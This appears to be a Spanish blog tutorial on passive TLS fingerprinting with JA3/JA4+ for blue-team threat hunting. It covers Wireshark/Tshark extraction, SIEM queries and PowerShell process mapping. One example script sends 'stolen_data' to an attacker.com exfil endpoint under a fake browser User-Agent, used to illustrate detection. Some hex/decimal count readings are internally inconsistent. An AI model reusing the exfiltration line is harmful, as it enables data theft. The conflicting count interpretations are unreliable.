// OPERACIÓN: La Huella digital Invisible

// Fingerprinting TLS en Wireshark

0x00 — LA HUELLA DIGITAL INVISIBLE

En un entorno donde el 95% del tráfico web viaja cifrado bajo TLS, la capacidad de inspeccionar el contenido de las comunicaciones se desvanece. 

Sin embargo, existe un vector de inteligencia que permanece accesible incluso sin descifrar: el apretón de manos TLS (TLS Handshake).

Este post documenta la técnica de Fingerprinting TLS pasivo mediante JA3 y JA4+, métodos que permiten identificar aplicaciones, detectar malware y rastrear anomalías de red sin necesidad de romper el cifrado ni implementar inspección SSL/Man-in-the-Middle.

CONTEXTO OPERATIVO

  • Dataset analizado: 53 conexiones TLS capturadas desde 192.168.1.130
  • Herramientas: Wireshark, Tshark, análisis offline con Excel
  • Técnicas: JA3 (2017) y JA4+ (2023) fingerprinting
  • Objetivo: Identificar actores de red, detectar impersonation, mapear Shadow IT

0x01 — EL HANDSHAKE TLS

El proceso de establecimiento de una sesión TLS comienza con el ClientHello, un paquete donde el cliente declara sus capacidades criptográficas al servidor. 

Este mensaje viaja sin cifrar y contiene información única sobre la aplicación que lo genera.

Campos Clave del ClientHello

CampoDescripciónImpacto en Fingerprinting
TLS VersionVersión de TLS soportada (1.2, 1.3)Navegadores modernos → 1.3 / Malware viejo → 1.2
Cipher SuitesLista de algoritmos de cifrado soportadosCRÍTICO - Cada app tiene su combinación
ExtensionsCapacidades adicionales (SNI, ALPN, ECH)CRÍTICO - ECH solo en navegadores modernos
Supported GroupsCurvas elípticas para intercambio de clavesX25519MLKEM768 indica post-quantum crypto
ALPNProtocolo de aplicación (HTTP/1.1, h2, h3)h3 = HTTP/3 (QUIC) - solo navegadores modernos

Aunque el payload del tráfico esté cifrado, el ClientHello es una tarjeta de presentación pública

Dos aplicaciones distintas raramente tienen la misma combinación de cipher suites + extensions + supported groups.

Filtro en Wireshark para ClientHello:
tls.handshake.type == 1

Campos a inspeccionar: • Handshake Protocol → Cipher Suites • Handshake Protocol → Extension: supported_groups • Handshake Protocol → Extension: application_layer_protocol_negotiation

0x02 — JA3 (2017)

JA3 fue desarrollado por Salesforce en 2017 como método estandarizado para crear fingerprints TLS. 

Su objetivo es convertir la complejidad del ClientHello en un hash MD5 de 32 caracteres procesable por SIEM.

Anatomía del JA3

# Estructura JA3 Fullstring
VERSION,CIPHERS,EXTENSIONS,GROUPS,FORMATS

# Ejemplo real de nuestro dataset 771,4865-4866-4867,51-10-43-16-13-57-45-17613-27-65037-42-0-41,4588-29-23-24,

# Se hashea con MD5 JA3 Hash: a6b80110ed348d86394555c990e226a6

Despiece del Ejemplo

ComponenteValorSignificado
VERSION7710x0303 (TLS 1.2) en legacy_version - compatibilidad hacia atrás
CIPHERS4865-4866-48670x1301, 0x1302, 0x1303 - Cipher Suites de TLS 1.3
EXTENSIONS51-10-43...65037...65037 = ECH (Encrypted Client Hello) - navegador muy moderno
GROUPS4588-29-23-244588 = X25519MLKEM768 - criptografía post-cuántica

Limitaciones de JA3

JA3 enfrenta dos problemas críticos en 2025:

  1. GREASE (Generate Random Extensions And Sustain Extensibility): Chrome y Firefox insertan valores aleatorios en cipher suites y extensions para prevenir ossificación del protocolo. Esto genera JA3 diferentes para la misma aplicación.
  2. Ofuscación de hash: El MD5 no es legible. 
  3. No puedes saber si un JA3 es de QUIC o TCP sin consultar la base de datos.

0x03 — JA4+ (2023)

JA4+ fue desarrollado por John Althouse (Fox-IT) en 2023 para resolver las limitaciones de JA3. 

Su innovación: legibilidad humana y resistencia al ruido de GREASE.

Anatomía del JA4: Tres Segmentos

# Estructura JA4
[PARTE A: Metadata]_[PARTE B: Hash de Ciphers]_[PARTE C: Hash de Extensions]

# Ejemplo del dataset: Navegador con QUIC q13d0313h355b375c5d22e226f3f127bbe

# Ejemplo del dataset: GitHub API sobre TCP t13d1517h28daaf6152771b6f405a00624

Metadata Legible

PosCampoValoresEjemplo: q13d0313h3
1Protocolo de transporteq=QUIC, t=TCP, d=DTLSq → QUIC (HTTP/3)
2-3Versión TLS10, 11, 12, 13, s1 (SSLv3)13 → TLS 1.3
4SNI Presenced=presente, i=ausented → SNI presente
5-6Cantidad de Cipher Suites00-99 en hexadecimal03 → 3 cipher suites
7-8Cantidad de Extensions00-99 en hexadecimal13 → 19 extensions (0x13)
9-10ALPN Negociado00, h1, h2, h3h3 → HTTP/3

Ventaja crítica: Con solo leer q13d0313h3, sabes que es un cliente QUIC con TLS 1.3, 3 cipher suites, 19 extensions y HTTP/3. Esto descarta el 90% de aplicaciones inmediatamente.

Resistencia a GREASE

JA4 ordena alfabéticamente los cipher suites y extensions antes de hashear, y filtra valores GREASE conocidos. Dos instancias de Chrome con GREASE aleatorio generarán el mismo JA4.

0x04 — LAS 53 CONEXIONES TLS

El análisis forense se realizó sobre una captura de tráfico HTTPS de un equipo Windows 11 con navegador Chrome. 

El archivo ja4.xlsx contiene el volcado completo para análisis offline.

Estructura del Dataset

ColumnaDescripciónUso
ip.srcDirección IP de origen (cliente)Mapear qué host genera qué fingerprint
tls.handshake.extensions_server_nameSNI (Server Name Indication) - destinoIdentificar a qué servicio se conecta
tls.handshake.ja3Fingerprint JA3 (MD5 hash)Consulta en ja3er.com para identificación
tls.handshake.ja4Fingerprint JA4 (legible + hash)Análisis directo sin consulta externa


Estadísticas del Tráfico Capturado

Total de conexiones TLS analizadas: 53
JA4 fingerprints únicos detectados: 8
IP de origen principal: 192.168.1.130

# Distribución de fingerprints t13d1517h2_8daaf6152771_b6f405a00624 → 14 conexiones (26.4%) q13d0313h3_55b375c5d22e_226f3f127bbe → 13 conexiones (24.5%) t13d1516h2_8daaf6152771_d8a2da3f94cd → 12 conexiones (22.6%) q13d0311h3_55b375c5d22e_653d80c3fe9d → 7 conexiones (13.2%) q13d0312h3_55b375c5d22e_5a06198afb93 → 4 conexiones (7.5%) t13d1515h1_8daaf6152771_0a20fe35d3a5 → 1 conexión (1.9%) t13d1516h1_8daaf6152771_0d365e64def3 → 1 conexión (1.9%) t13d201300_2b729b4bf6f3_1ea369dc5faa → 1 conexión (1.9%) ANOMALÍA

0x05 — MAPEO DE FINGERPRINTS

El verdadero poder del fingerprinting TLS reside en la capacidad de mapear fingerprints a aplicaciones sin inspección profunda de paquetes. Analicemos los 8 actores detectados en nuestro tráfico.

JA4 Fingerprint: q13d0313h3_55b375c5d22e_226f3f127bbe

Apariciones: 13 conexiones (24.5% del tráfico)
JA3: a6b80110ed348d86394555c990e226a6
Protocolo: QUIC (UDP) + TLS 1.3
ALPN: h3 (HTTP/3)

Destinos detectados:

  • gemini.google.com — IA Gemini
  • translate.google.es — Google Translate
  • www.google.es — Búsqueda web
  • docs.google.com — Google Docs
  • 2devnullpoisonxploit.blogspot.com — Este blog
  • www.blogger.com — Blogger CMS

Análisis: Este es el fingerprint del navegador interactivo humano

La presencia de QUIC (letra q) y HTTP/3 (h3) confirma que es Chrome o Edge moderno. 

Los destinos son servicios de Google, coherentes con navegación web estándar.

Actor 2: APIs y SDKs (GitHub, Spotify, Stripe)

JA4 Fingerprint: t13d1517h2_8daaf6152771_b6f405a00624

Apariciones: 14 conexiones (26.4% del tráfico - EL MÁS FRECUENTE)
Protocolo: TCP + TLS 1.3
ALPN: h2 (HTTP/2)
Cipher Suites: 15 (0x15)

Destinos detectados:

  • api.github.com — API REST de GitHub
  • github.com — GitHub web
  • accounts.spotify.com — Autenticación Spotify
  • apresolve.spotify.com — Resolución de endpoints Spotify
  • use.fontawesome.com — CDN de iconos
  • braze.com — Telemetría y marketing SDK

Este fingerprint corresponde a aplicaciones basadas en Electron o SDKs modernos

La letra "t" indica TCP (no QUIC). La consistencia del hash sugiere que múltiples apps usan el mismo motor de red (probablemente librerías compartidas de Chromium Embedded Framework).

Actor 3: Servicios de Google (CDN y Assets)

JA4 Fingerprint: q13d0311h3_55b375c5d22e_653d80c3fe9d

Apariciones: 7 conexiones (13.2%)
Protocolo: QUIC + TLS 1.3
ALPN: h3
Cipher Suites: 3 (0x11 en hex)

Destinos detectados:

  • www.gstatic.com — CDN de Google (JavaScript, CSS)
  • fonts.googleapis.com — Google Fonts
  • lh3.googleusercontent.com — Imágenes de usuarios
  • ogs.google.com — Google One Storage

Este es el fingerprint de recursos estáticos cargados por el navegador

Varía ligeramente del Actor 1 en el número de cipher suites (11 vs 13), probablemente debido a optimizaciones de CDN.

Actor 4: Cliente Spotify 

JA4 Fingerprint: q13d0312h3_55b375c5d22e_5a06198afb93

Apariciones: 4 conexiones (7.5%)
Protocolo: QUIC + TLS 1.3
ALPN: h3

Destinos detectados:

  • gew1-spclient.spotify.com — Cliente streaming Spotify
  • generic.wg.spotify.com — Servicios generales
  • accounts.spotify.com — Autenticación

Fingerprint exclusivo del cliente de escritorio de Spotify. El hash de extensions es diferente, lo que indica capacidades TLS específicas del cliente de streaming.

Actor 5: GitHub Heartbeat (alive.github.com)

JA4 Fingerprints: t13d1515h1_8daaf6152771_0a20fe35d3a5 y t13d1516h1_8daaf6152771_0d365e64def3

Apariciones: 2 conexiones (1 de cada fingerprint)
Protocolo: TCP + TLS 1.3
ALPN: h1 (HTTP/1.1) 

alive.github.com (ambas conexiones)

Estas conexiones usan HTTP/1.1 en lugar de HTTP/2, lo cual es inusual para servicios modernos. 

Esto sugiere que es un health check o heartbeat endpoint legacy de GitHub que mantiene compatibilidad con clientes antiguos.

0x06 —  MICROSOFT

En medio del tráfico normal, destaca un fingerprint completamente atípico que merece análisis forense detallado.

JA4 Fingerprint: t13d201300_2b729b4bf6f3_1ea369dc5faa

Apariciones: 1 conexión (1.9%)
JA3: 6634ba84945fce7cc2d7864edc49b103
Protocolo: TCP + TLS 1.3
ALPN: 00 -> No negocia protocolo de Capa 7
Cipher Suites: 20 (0x20 en hex) -> Crítico
Destino: self.events.data.microsoft.com

Análisis Forense del Fingerprint

CaracterísticaValor ObservadoInterpretación
Cipher Suites20 (32 en decimal)Chrome ofrece 15, Python 3-4, scripts modernos 10-15. 20 cipher suites = Windows nativo
ALPN00 (ausente)NO ES UN NAVEGADOR. Los navegadores siempre negocian h1/h2/h3
ProtocoloTCP (no QUIC)Servicio del sistema operativo, no aplicación interactiva
Destinoself.events.data.microsoft.comDiagTrack (Telemetría de Windows)

Identificación del Proceso

Este fingerprint pertenece al servicio DiagTrack (Connected User Experiences and Telemetry) de Windows. 

Es el proceso encargado de enviar diagnósticos, errores y estadísticas de uso a Microsoft.

# Verificar el proceso en PowerShell
Get-Service DiagTrack

# Buscar conexiones activas a Microsoft telemetry Get-NetTCPConnection | Where-Object {_.RemoteAddress -like "20.189.*"} | Select-Object State, @{Name="Process";Expression={(Get-Process -Id _.OwningProcess).ProcessName}}

# Resultado esperado: svchost.exe → Proceso host del servicio DiagTrack

Implicaciones para Blue Team

Esta detección tiene valor crítico en threat hunting:

  • Baseline establecido: Ahora sabemos que el fingerprint t13d201300… es legítimo de Windows. Si aparece hacia un destino que NO sea *.microsoft.com, tendremos un IOC de alta fidelidad.
  • Detección de suplantación: Si un malware intenta disfrazarse de “proceso de Windows” pero genera un JA4 diferente, será detectado instantáneamente.
  • Shadow IT: Si este fingerprint aparece desde un servidor Linux o un Docker container, sabemos que hay un binario de Windows ejecutándose donde no debería.

0x07 — CASOS DE USO 

Caso 1: Detección de Malware por Fingerprint

Escenario: Monitoreas 500 equipos Windows 11 con Chrome. 

El 99% del tráfico HTTPS muestra el JA4 q13d0313h3_55b375c5d22e_226f3f127bbe.

# Query en Splunk/ELK
index=network_logs sourcetype=zeek_ssl
| stats count by ja4_fingerprint, src_ip, dest_ip, server_name
| where ja4_fingerprint != "q13d0313h3_55b375c5d22e_226f3f127bbe"
| where ja4_fingerprint != "t13d201300_2b729b4bf6f3_1ea369dc5faa"
| table src_ip, ja4_fingerprint, server_name

Aparece una alerta de la IP 192.168.1.45 con JA4 t12d0812h1... conectando a una IP en Kazajistán.

Además encontramos:

  • t12 → TLS 1.2 (protocolo viejo)
  • d08 → Solo 8 cipher suites (muy pocas)
  • h1 → HTTP/1.1 (no moderno)
  • Consulta en JA4DB.com → Go-TLS library (usada por Cobalt Strike y Meterpreter)

Proceso malicioso detectado. 

Identifico un beacon de C2 sin descifrar el tráfico.

Caso 2: Detección de Suplantación

Si por ejemplo un atacante exfiltra datos usando un script Python con User-Agent falso.

# Script del atacante (Python requests)
import requests
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/120.0'}
requests.get('https://attacker.com/exfil', headers=headers, data=stolen_data)

# Lo que ve el servidor destino: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/120.0 JA4: t13d0509h2_… ← python-requests library

Detección: El sistema de monitorización ve la contradicción:

IndicadorValor DeclaradoValor Real (JA4)
User-AgentChrome 120python-requests
Protocolo esperadoQUIC (q13...)TCP (t13...)
Cipher Suites esperadas15 (Chrome)9 (Python)

El User-Agent miente, pero el JA4 no puede mentir.

Caso 3: Busqueda de "Vecinos" (Outbreak Detection)

Detecto un JA4 sospechoso en un equipo. 

Te tienes que preguntar por lógica...¿Es un incidente aislado? 

# Query de correlación en SIEM
index=network_logs ja4_fingerprint="t12d0812h1_suspicious_hash"
| stats count by src_ip, src_hostname
| sort -count

# Resultado: PC-ADMIN-01 34 conexiones PC-FINANCE-03 28 conexiones PC-HR-07 12 conexiones SRV-WEB-02 8 conexiones

No es un incidente aislado. 

Lo que tienes son 4 equipos comprometidos con el mismo malware. 

El JA4 te permite rastrear la extensión del compromiso en minutos.

0x08 — EXTRACCIÓN CON TSHARK

Para análisis masivos, extraer JA3/JA4 manualmente desde Wireshark es inviable. 

Tshark permite automatizar la extracción y generar datasets procesables.

Comando 1: Extracción Básica a TXT

"C:\Program Files\Wireshark\tshark.exe" -r captura.pcapng \
-T fields \
-e ip.src \
-e tls.handshake.extensions_server_name \
-e tls.handshake.ja3 \
-e tls.handshake.ja4 \
>> ja4_raw.txt

Problema: Este comando incluye paquetes sin ClientHello (líneas vacías) y usa tabuladores como separador (difícil de procesar en Excel).

Comando 2: Filtrada a CSV (RECOMENDADO)

"C:\Program Files\Wireshark\tshark.exe" -r captura.pcapng \
-Y "tls.handshake.type == 1" ← FILTRO: Solo ClientHello
-T fields \
-e ip.src \
-e tls.handshake.extensions_server_name \
-e tls.handshake.ja3 \
-e tls.handshake.ja4 \
-E header=y ← Añade cabeceras de columna
-E separator=, ← Usa coma como separador (CSV)
> ja4_limpio.csv

Archivo CSV importable directamente en Excel.

Comando 3: Extracción con Estadísticas 

# Extraer top 10 JA4 más frecuentes
"C:\Program Files\Wireshark\tshark.exe" -r captura.pcapng \
-Y "tls.handshake.type == 1" \
-T fields \
-e tls.handshake.ja4 \
| Sort-Object | Group-Object | Sort-Object Count -Descending | Select-Object -First 10

# Resultado ejemplo: Count Name


14 t13d1517h2_8daaf6152771_b6f405a00624 13 q13d0313h3_55b375c5d22e_226f3f127bbe 12 t13d1516h2_8daaf6152771_d8a2da3f94cd

0x09 — ANÁLISIS CON EXCEL

Mi archivo ja4.xlsx adjunto contiene las 53 conexiones extraídas con Tshark. 

Este es el flujo de análisis según he investigado:

Paso 1: Identificar Fingerprints Únicos

# En Excel: Tabla dinámica
Filas: tls.handshake.ja4
Valores: Contar de tls.handshake.ja4

# Resultado: 8 fingerprints únicos de 53 conexiones totales

Paso 2: Mapear Fingerprints a Destinos

Para cada JA4 único, identifica los destinos (SNI) asociados. Esto revela patrones:

Patrón de DestinosInterpretación
Todos son *.google.comNavegador Chrome navegando servicios Google
Todos son *.github.comCliente GitHub Desktop o Git CLI
Mezclados: github, spotify, stripe, brazeSDK compartido o motor Electron
Un solo destino: self.events.data.microsoft.comServicio específico del sistema (telemetría)

Paso 3: Buscar Anomalías

Aplica estos filtros en Excel para identificar IOCs:

# Filtro 1: JA4 que empiezan con 't12' (TLS 1.2 viejo)
=SI(IZQUIERDA([tls.handshake.ja4],3)="t12","REVISAR","OK")

# Filtro 2: ALPN vacío (00) indica binario nativo, no navegador =SI(ENCONTRAR(“00”,[tls.handshake.ja4])>0,“NO NAVEGADOR”,“NAVEGADOR”)

# Filtro 3: SNI vacío (conexión directa a IP, muy sospechoso) =SI(ESBLANCO([tls.handshake.extensions_server_name]),“SOSPECHOSO”,“OK”)

# Filtro 4: Cipher Suites > 20 (Windows native) o < 5 (script simple) =EXTRAE([tls.handshake.ja4],5,2) ← Extrae cantidad de ciphers

Paso 4: Consulta en Bases de Datos

Para JA4 desconocidos, usa recursos públicos:

  • JA4DB.com — Base de datos oficial de JA4+ (Fox-IT)

  • ja3er.com — Base de datos comunitaria de JA3 (no funciona a día de hoy)
  • Abuse.ch SSL Blacklist — JA3 de malware conocido

0x10 — THREAT HUNTING 

El objetivo final del fingerprinting TLS es mapear el tráfico de red al binario ejecutable que lo genera. 

Este es el flujo completo de investigación.

Caso Práctico: Mapear JA4 → Proceso en Windows

Escenario: Detectaste en el Excel que alive.github.com usa JA4 t13d1516h1_.... ¿Qué proceso genera ese tráfico?

# Paso 1: Identificar la IP de alive.github.com
nslookup alive.github.com
Address: 140.82.121.6

# Paso 2: Buscar conexiones activas a esa IP netstat -abno | findstr “140.82.121” TCP 192.168.1.130:54231 140.82.121.6:443 ESTABLISHED 9876 ↑ PID

# Paso 3: Mapear PID a proceso tasklist /FI “PID eq 9876” Image Name PID Mem Usage GitHubDesktop.exe 9876 245,332 K

# Paso 4: Obtener ruta del ejecutable Get-Process -Id 9876 | Select-Object Path C:\Users\POISONXPLOIT\AppData\Local\GitHubDesktop\GitHubDesktop.exe

El JA4 t13d1516h1_... es generado por GitHub Desktop

Puedes crear una regla de whitelist en tu SIEM por ejemplo

Monitorización Continua con PowerShell

Para ambientes de producción, automatiza la correlación en tiempo real:

# Script de monitorización continua
while($true) { 
Get-NetTCPConnection | Where-Object {$_.State -eq "Established" -and $_.RemotePort -eq 443} |
Select-Object LocalAddress, RemoteAddress, RemotePort, State, 
@{Name="Process";Expression={(Get-Process -Id $_.OwningProcess).ProcessName}},
@{Name="PID";Expression={$_.OwningProcess}} |
Format-Table -AutoSize
Start-Sleep -Seconds 5
}

# Versión de exportación a CSV Get-NetTCPConnection | Where-Object {_.RemotePort -eq 443} | Select-Object @{Name=“Time”;Expression={Get-Date}}, LocalAddress, RemoteAddress, @{Name=“Process”;Expression={(Get-Process -Id _.OwningProcess).ProcessName}} | Export-Csv -Path "C:\SOC\tls_connections_(Get-Date -Format ‘yyyyMMdd’).csv” -Append -NoTypeInformation

0x0B — MI ROADMAP DE APRENDIZAJE e INVESTIGACION

  • JA4 es superior a JA3 en 2025: Legibilidad humana, resistencia a GREASE, y capacidad de análisis sin consulta externa.
  • El ClientHello no miente: Aunque un atacante falsifique el User-Agent, el fingerprint TLS revelará la verdadera identidad de la aplicación.
  • Los fingerprints son únicos pero estables: Chrome siempre genera el mismo JA4, permitiendo crear baselines confiables.
  • Las anomalías destacan: En un entorno con 8 JA4 diferentes, una novena huella desconocida es un IOC de alta fidelidad.
  • El análisis offline es poderoso: Con Tshark + Excel puedes realizar threat hunting sin infraestructura SIEM costosa.

Futuros pasos como Analista

NivelObjetivoHerramientas
BásicoCapturar y extraer JA4 con Wireshark/TsharkWireshark, Excel, JA4DB.com
IntermedioAutomatizar extracción con Zeek, crear baselinesZeek (Bro), ja3 plugin, Python pandas
AvanzadoIntegrar en SIEM, crear alertas de anomalíasSplunk, ELK Stack, Suricata con JA4
ExpertoThreat hunting activo, correlación con EDR/SIEMZeek + Elastic + MISP, threat intel feeds

Dataset Completo Disponible

Mi archivo ja4.xlsx contiene:

  • 53 conexiones TLS completas con JA3 y JA4
  • 8 fingerprints únicos identificados
  • Destinos (SNI) mapeados a cada fingerprint
  • Casos de uso documentados (navegador, APIs, telemetría)
  • Anomalía del "fósil" de Microsoft como ejemplo de detección

Usa este dataset como base de referencia para entrenar tus habilidades de análisis y sobretodo tu ojo para moverte por la cebolla.

Repite el proceso con capturas de tu propia red y compara los resultados.

Comandos de Referencia Rápida

# Filtro Wireshark para ClientHello
tls.handshake.type == 1

# Extracción Tshark a CSV tshark -r captura.pcapng -Y “tls.handshake.type == 1” -T fields
-e ip.src -e tls.handshake.extensions_server_name
-e tls.handshake.ja3 -e tls.handshake.ja4
-E header=y -E separator=, > ja4.csv

# Buscar proceso por IP destino (Windows) netstat -abno | findstr “IP_DESTINO”

# Monitorización continua de conexiones HTTPS (PowerShell) Get-NetTCPConnection | Where-Object {_.RemotePort -eq 443} | Select-Object RemoteAddress, @{Name="Process";Expression={(Get-Process -Id _.OwningProcess).ProcessName}}

[EOD] 

"Fingerprinting TLS: The digital fingerprint that no attacker can forge"